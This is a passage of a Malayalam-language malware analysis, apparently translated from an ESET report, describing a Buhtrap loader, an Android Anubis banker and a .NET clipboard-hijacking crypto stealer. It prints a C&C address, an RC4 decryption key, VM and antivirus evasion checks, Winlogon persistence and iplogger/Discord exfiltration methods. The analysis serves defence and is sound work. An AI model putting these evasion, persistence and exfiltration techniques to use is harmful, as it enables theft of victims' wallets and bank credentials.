രണ്ടാമത്തെ, കൂടുതൽ സങ്കീർണ്ണമായ പെരുമാറ്റം RSS.php URL മറ്റൊരു ലോഡറിലേക്ക് കൈമാറി എന്നതാണ്. ഡൈനാമിക് ഇംപോർട്ട് ടേബിൾ പുനർനിർമ്മിക്കുന്നത് പോലെയുള്ള ചില അവ്യക്തതകൾ ഇത് നടപ്പിലാക്കി. C&C സെർവറുമായി ബന്ധപ്പെടുക എന്നതാണ് ബൂട്ട്ലോഡറിന്റെ ലക്ഷ്യം msiofficeupd[.]com/api/F27F84EDA4D13B15/2, ലോഗുകൾ അയച്ച് പ്രതികരണത്തിനായി കാത്തിരിക്കുക. ഇത് പ്രതികരണത്തെ ഒരു ബ്ലോബ് ആയി പ്രോസസ്സ് ചെയ്യുകയും മെമ്മറിയിലേക്ക് ലോഡ് ചെയ്യുകയും എക്സിക്യൂട്ട് ചെയ്യുകയും ചെയ്യുന്നു. ഈ ലോഡർ എക്‌സിക്യൂട്ട് ചെയ്യുന്നത് ഞങ്ങൾ കണ്ട പേലോഡ് അതേ ബുഹ്‌ട്രാപ്പ് ബാക്ക്‌ഡോർ ആയിരുന്നു, എന്നാൽ മറ്റ് ഘടകങ്ങൾ ഉണ്ടായിരിക്കാം.

Android/Spy.Banker

രസകരമെന്നു പറയട്ടെ, ആൻഡ്രോയിഡിനുള്ള ഒരു ഘടകവും GitHub ശേഖരത്തിൽ കണ്ടെത്തി. 1 നവംബർ 2018-ന് ഒരു ദിവസം മാത്രമാണ് അദ്ദേഹം പ്രധാന ശാഖയിൽ ഉണ്ടായിരുന്നത്. GitHub-ൽ പോസ്‌റ്റ് ചെയ്‌തതിനു പുറമേ, ഈ ക്ഷുദ്രവെയർ വിതരണം ചെയ്‌തതിന്റെ തെളിവുകളൊന്നും ESET ടെലിമെട്രി കണ്ടെത്തുന്നില്ല.

ഘടകം ഒരു ആൻഡ്രോയിഡ് ആപ്ലിക്കേഷൻ പാക്കേജായി (APK) ഹോസ്റ്റ് ചെയ്തു. ഇത് വളരെ അവ്യക്തമാണ്. APK-യിൽ സ്ഥിതി ചെയ്യുന്ന ഒരു എൻക്രിപ്റ്റ് ചെയ്ത JAR-ൽ ക്ഷുദ്രകരമായ പെരുമാറ്റം മറച്ചിരിക്കുന്നു. ഈ കീ ഉപയോഗിച്ച് ഇത് RC4 ഉപയോഗിച്ച് എൻക്രിപ്റ്റ് ചെയ്തിരിക്കുന്നു:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]

സ്ട്രിംഗുകൾ എൻക്രിപ്റ്റ് ചെയ്യാൻ ഒരേ കീയും അൽഗോരിതവും ഉപയോഗിക്കുന്നു. JAR സ്ഥിതി ചെയ്യുന്നത് APK_ROOT + image/files. ഫയലിന്റെ ആദ്യത്തെ 4 ബൈറ്റുകളിൽ എൻക്രിപ്റ്റ് ചെയ്ത JAR ന്റെ ദൈർഘ്യം അടങ്ങിയിരിക്കുന്നു, അത് ദൈർഘ്യ ഫീൽഡിന് തൊട്ടുപിന്നാലെ ആരംഭിക്കുന്നു.

ഫയൽ ഡീക്രിപ്റ്റ് ചെയ്ത ശേഷം, അത് അനുബിസ് ആണെന്ന് ഞങ്ങൾ കണ്ടെത്തി - മുമ്പ് രേഖപ്പെടുത്തി ആൻഡ്രോയിഡിനുള്ള ബാങ്കർ. ക്ഷുദ്രവെയറിന് ഇനിപ്പറയുന്ന സവിശേഷതകൾ ഉണ്ട്:

• മൈക്രോഫോൺ റെക്കോർഡിംഗ്
• സ്ക്രീൻഷോട്ടുകൾ എടുക്കുന്നു
• GPS കോർഡിനേറ്റുകൾ ലഭിക്കുന്നു
• കീലോഗർ
• ഉപകരണ ഡാറ്റ എൻക്രിപ്ഷനും മോചനദ്രവ്യത്തിന്റെ ആവശ്യവും
• സ്പാം അയയ്ക്കുന്നു

രസകരമെന്നു പറയട്ടെ, മറ്റൊരു C&C സെർവർ ലഭിക്കുന്നതിന് ബാങ്കർ ട്വിറ്ററിനെ ഒരു ബാക്കപ്പ് കമ്മ്യൂണിക്കേഷൻ ചാനലായി ഉപയോഗിച്ചു. ഞങ്ങൾ വിശകലനം ചെയ്ത സാമ്പിൾ @JonesTrader അക്കൗണ്ട് ഉപയോഗിച്ചു, എന്നാൽ വിശകലന സമയത്ത് അത് ഇതിനകം തടഞ്ഞിരുന്നു.

ആൻഡ്രോയിഡ് ഉപകരണത്തിലെ ടാർഗെറ്റ് ആപ്ലിക്കേഷനുകളുടെ ഒരു ലിസ്റ്റ് ബാങ്കറിൽ അടങ്ങിയിരിക്കുന്നു. സോഫോസ് പഠനത്തിൽ ലഭിച്ച പട്ടികയേക്കാൾ ദൈർഘ്യമേറിയതാണ് ഇത്. ലിസ്റ്റിൽ നിരവധി ബാങ്കിംഗ് ആപ്ലിക്കേഷനുകൾ, ആമസോൺ, ഇബേ പോലുള്ള ഓൺലൈൻ ഷോപ്പിംഗ് പ്രോഗ്രാമുകൾ, ക്രിപ്‌റ്റോകറൻസി സേവനങ്ങൾ എന്നിവ ഉൾപ്പെടുന്നു.

MSIL/ClipBanker.IH

ഈ കാമ്പെയ്‌നിന്റെ ഭാഗമായി വിതരണം ചെയ്ത അവസാന ഘടകം 2019 മാർച്ചിൽ പ്രത്യക്ഷപ്പെട്ട .NET വിൻഡോസ് എക്‌സിക്യൂട്ടബിൾ ആയിരുന്നു. പഠിച്ച മിക്ക പതിപ്പുകളും ConfuserEx v1.0.0 ഉപയോഗിച്ച് പാക്കേജുചെയ്തവയാണ്. ClipBanker പോലെ, ഈ ഘടകം ക്ലിപ്പ്ബോർഡ് ഉപയോഗിക്കുന്നു. അവന്റെ ലക്ഷ്യം ക്രിപ്‌റ്റോകറൻസികളുടെ വിശാലമായ ശ്രേണിയും സ്റ്റീമിലെ ഓഫറുകളും ആണ്. കൂടാതെ, ബിറ്റ്കോയിൻ പ്രൈവറ്റ് WIF കീ മോഷ്ടിക്കാൻ അവൻ ഐപി ലോഗർ സേവനം ഉപയോഗിക്കുന്നു.

സംരക്ഷണ സംവിധാനങ്ങൾ
ഡീബഗ്ഗിംഗ്, ഡംപിംഗ്, ടാംപറിംഗ് എന്നിവ തടയുന്നതിൽ ConfuserEx നൽകുന്ന നേട്ടങ്ങൾക്ക് പുറമേ, ആന്റിവൈറസ് ഉൽപ്പന്നങ്ങളും വെർച്വൽ മെഷീനുകളും കണ്ടെത്താനുള്ള കഴിവും ഘടകത്തിൽ ഉൾപ്പെടുന്നു.

ഇത് ഒരു വെർച്വൽ മെഷീനിൽ പ്രവർത്തിക്കുന്നുവെന്ന് പരിശോധിക്കാൻ, ബയോസ് വിവരങ്ങൾ അഭ്യർത്ഥിക്കാൻ ക്ഷുദ്രവെയർ ബിൽറ്റ്-ഇൻ വിൻഡോസ് ഡബ്ല്യുഎംഐ കമാൻഡ് ലൈൻ (ഡബ്ല്യുഎംഐസി) ഉപയോഗിക്കുന്നു, അതായത്:

wmic bios

തുടർന്ന് പ്രോഗ്രാം കമാൻഡ് ഔട്ട്പുട്ട് പാഴ്‌സ് ചെയ്യുകയും കീവേഡുകൾക്കായി തിരയുകയും ചെയ്യുന്നു: VBOX, VirtualBox, XEN, qemu, bochs, VM.

ആന്റിവൈറസ് ഉൽപ്പന്നങ്ങൾ കണ്ടെത്തുന്നതിന്, ക്ഷുദ്രവെയർ വിൻഡോസ് സുരക്ഷാ കേന്ദ്രത്തിലേക്ക് ഒരു വിൻഡോസ് മാനേജ്മെന്റ് ഇൻസ്ട്രുമെന്റേഷൻ (WMI) അഭ്യർത്ഥന അയക്കുന്നു ManagementObjectSearcher താഴെ കാണിച്ചിരിക്കുന്നതുപോലെ API. Base64-ൽ നിന്ന് ഡീകോഡ് ചെയ്ത ശേഷം കോൾ ഇതുപോലെ കാണപ്പെടുന്നു:

ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')

ചിത്രം 3. ആന്റിവൈറസ് ഉൽപ്പന്നങ്ങൾ തിരിച്ചറിയുന്നതിനുള്ള പ്രക്രിയ.

കൂടാതെ, ക്ഷുദ്രവെയർ പരിശോധിക്കുന്നു CryptoClipWatcher, ക്ലിപ്പ്ബോർഡ് ആക്രമണങ്ങളിൽ നിന്ന് പരിരക്ഷിക്കുന്നതിനുള്ള ഒരു ഉപകരണം, പ്രവർത്തിക്കുകയാണെങ്കിൽ, ആ പ്രക്രിയയിലെ എല്ലാ ത്രെഡുകളും താൽക്കാലികമായി നിർത്തുന്നു, അതുവഴി സംരക്ഷണം പ്രവർത്തനരഹിതമാക്കുന്നു.

സ്ഥിരോത്സാഹം

ഞങ്ങൾ പഠിച്ച ക്ഷുദ്രവെയറിന്റെ പതിപ്പ് സ്വയം പകർത്തുന്നു %APPDATA%googleupdater.exe കൂടാതെ ഗൂഗിൾ ഡയറക്ടറിക്കായി "മറഞ്ഞിരിക്കുന്ന" ആട്രിബ്യൂട്ട് സജ്ജമാക്കുന്നു. അപ്പോൾ അവൾ മൂല്യം മാറ്റുന്നു SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell വിൻഡോസ് രജിസ്ട്രിയിൽ പാത്ത് ചേർക്കുന്നു updater.exe. ഈ രീതിയിൽ, ഉപയോക്താവ് ലോഗിൻ ചെയ്യുമ്പോഴെല്ലാം ക്ഷുദ്രവെയർ എക്സിക്യൂട്ട് ചെയ്യും.

ക്ഷുദ്രകരമായ പെരുമാറ്റം

ClipBanker പോലെ, ക്ഷുദ്രവെയറും ക്ലിപ്പ്ബോർഡിലെ ഉള്ളടക്കങ്ങൾ നിരീക്ഷിക്കുകയും ക്രിപ്‌റ്റോകറൻസി വാലറ്റ് വിലാസങ്ങൾക്കായി തിരയുകയും, കണ്ടെത്തുമ്പോൾ, അത് ഓപ്പറേറ്ററുടെ വിലാസങ്ങളിലൊന്ന് ഉപയോഗിച്ച് മാറ്റിസ്ഥാപിക്കുകയും ചെയ്യുന്നു. കോഡിൽ കാണുന്നതിനെ അടിസ്ഥാനമാക്കിയുള്ള ടാർഗെറ്റ് വിലാസങ്ങളുടെ ഒരു ലിസ്റ്റ് ചുവടെയുണ്ട്.

BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

ഓരോ തരത്തിലുമുള്ള വിലാസത്തിനും ഒരു സാധാരണ പദപ്രയോഗമുണ്ട്. സ്റ്റീം സിസ്റ്റത്തെ ആക്രമിക്കാൻ STEAM_URL മൂല്യം ഉപയോഗിക്കുന്നു, ബഫറിൽ നിർവചിക്കാൻ ഉപയോഗിക്കുന്ന പതിവ് എക്‌സ്‌പ്രഷനിൽ നിന്ന് കാണാൻ കഴിയും:

b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b

പുറംതള്ളൽ ചാനൽ

ബഫറിലെ വിലാസങ്ങൾ മാറ്റിസ്ഥാപിക്കുന്നതിനു പുറമേ, ക്ഷുദ്രവെയർ ബിറ്റ്കോയിൻ, ബിറ്റ്കോയിൻ കോർ, ഇലക്ട്രം ബിറ്റ്കോയിൻ വാലറ്റുകൾ എന്നിവയുടെ സ്വകാര്യ WIF കീകൾ ലക്ഷ്യമിടുന്നു. WIF പ്രൈവറ്റ് കീ ലഭിക്കുന്നതിനായി പ്രോഗ്രാം plogger.org ഒരു എക്സ്ഫിൽട്രേഷൻ ചാനലായി ഉപയോഗിക്കുന്നു. ഇത് ചെയ്യുന്നതിന്, താഴെ കാണിച്ചിരിക്കുന്നതുപോലെ, ഉപയോക്തൃ-ഏജന്റ് HTTP ഹെഡറിലേക്ക് ഓപ്പറേറ്റർമാർ സ്വകാര്യ കീ ഡാറ്റ ചേർക്കുന്നു.

ചിത്രം 4. ഔട്ട്പുട്ട് ഡാറ്റയുള്ള ഐപി ലോഗർ കൺസോൾ.

വാലറ്റുകൾ പുറന്തള്ളാൻ ഓപ്പറേറ്റർമാർ iplogger.org ഉപയോഗിച്ചില്ല. ഫീൽഡിലെ 255 പ്രതീക പരിധി കാരണം അവർ മറ്റൊരു രീതി അവലംബിച്ചിരിക്കാം User-Agentഐപി ലോഗർ വെബ് ഇന്റർഫേസിൽ പ്രദർശിപ്പിക്കും. ഞങ്ങൾ പഠിച്ച സാമ്പിളുകളിൽ, മറ്റ് ഔട്ട്പുട്ട് സെർവർ എൻവയോൺമെന്റ് വേരിയബിളിൽ സംഭരിച്ചു DiscordWebHook. അതിശയകരമെന്നു പറയട്ടെ, ഈ എൻവയോൺമെന്റ് വേരിയബിൾ കോഡിൽ എവിടെയും നൽകിയിട്ടില്ല. ക്ഷുദ്രവെയർ ഇപ്പോഴും വികസിപ്പിച്ചുകൊണ്ടിരിക്കുകയാണെന്നും ഓപ്പറേറ്ററുടെ ടെസ്റ്റ് മെഷീനിലേക്ക് വേരിയബിൾ നൽകിയിട്ടുണ്ടെന്നും ഇത് സൂചിപ്പിക്കുന്നു.

പരിപാടി വികസിച്ചുകൊണ്ടിരിക്കുന്നു എന്നതിന് മറ്റൊരു സൂചനയുണ്ട്. ബൈനറി ഫയലിൽ രണ്ട് iplogger.org URL-കൾ ഉൾപ്പെടുന്നു, ഡാറ്റ എക്‌സ്‌ഫിൽട്രേറ്റ് ചെയ്യുമ്പോൾ രണ്ടും അന്വേഷിക്കും. ഈ URL-കളിൽ ഒന്നിലേക്കുള്ള അഭ്യർത്ഥനയിൽ, റഫറർ ഫീൽഡിലെ മൂല്യത്തിന് മുമ്പായി "DEV /" ഉണ്ട്. ConfuserEx ഉപയോഗിച്ച് പാക്കേജ് ചെയ്യാത്ത ഒരു പതിപ്പും ഞങ്ങൾ കണ്ടെത്തി, ഈ URL-ന്റെ സ്വീകർത്താവിന്റെ പേര് DevFeedbackUrl എന്നാണ്. എൻവയോൺമെന്റ് വേരിയബിൾ നെയിം അടിസ്ഥാനമാക്കി, ക്രിപ്‌റ്റോകറൻസി വാലറ്റുകൾ മോഷ്‌ടിക്കാൻ നിയമാനുസൃത സേവനമായ ഡിസ്‌കോർഡും അതിന്റെ വെബ് ഇന്റർസെപ്ഷൻ സിസ്റ്റവും ഉപയോഗിക്കാൻ ഓപ്പറേറ്റർമാർ പദ്ധതിയിടുന്നതായി ഞങ്ങൾ വിശ്വസിക്കുന്നു.

തീരുമാനം

സൈബർ ആക്രമണങ്ങളിൽ നിയമാനുസൃതമായ പരസ്യ സേവനങ്ങൾ ഉപയോഗിക്കുന്നതിന്റെ ഉദാഹരണമാണ് ഈ കാമ്പയിൻ. പദ്ധതി റഷ്യൻ സംഘടനകളെ ലക്ഷ്യമിടുന്നു, എന്നാൽ റഷ്യൻ ഇതര സേവനങ്ങൾ ഉപയോഗിച്ച് അത്തരമൊരു ആക്രമണം കണ്ടാൽ ഞങ്ങൾ അത്ഭുതപ്പെടില്ല. വിട്ടുവീഴ്ച ഒഴിവാക്കാൻ, ഉപയോക്താക്കൾക്ക് അവർ ഡൗൺലോഡ് ചെയ്യുന്ന സോഫ്‌റ്റ്‌വെയറിന്റെ ഉറവിടത്തിന്റെ പ്രശസ്തിയിൽ ഉറപ്പുണ്ടായിരിക്കണം.

വിട്ടുവീഴ്ചയുടെയും MITER ATT&CK ആട്രിബ്യൂട്ടുകളുടെയും സൂചകങ്ങളുടെ പൂർണ്ണമായ ലിസ്റ്റ് ഇവിടെ ലഭ്യമാണ് ലിങ്ക്.

അവലംബം: www.habr.com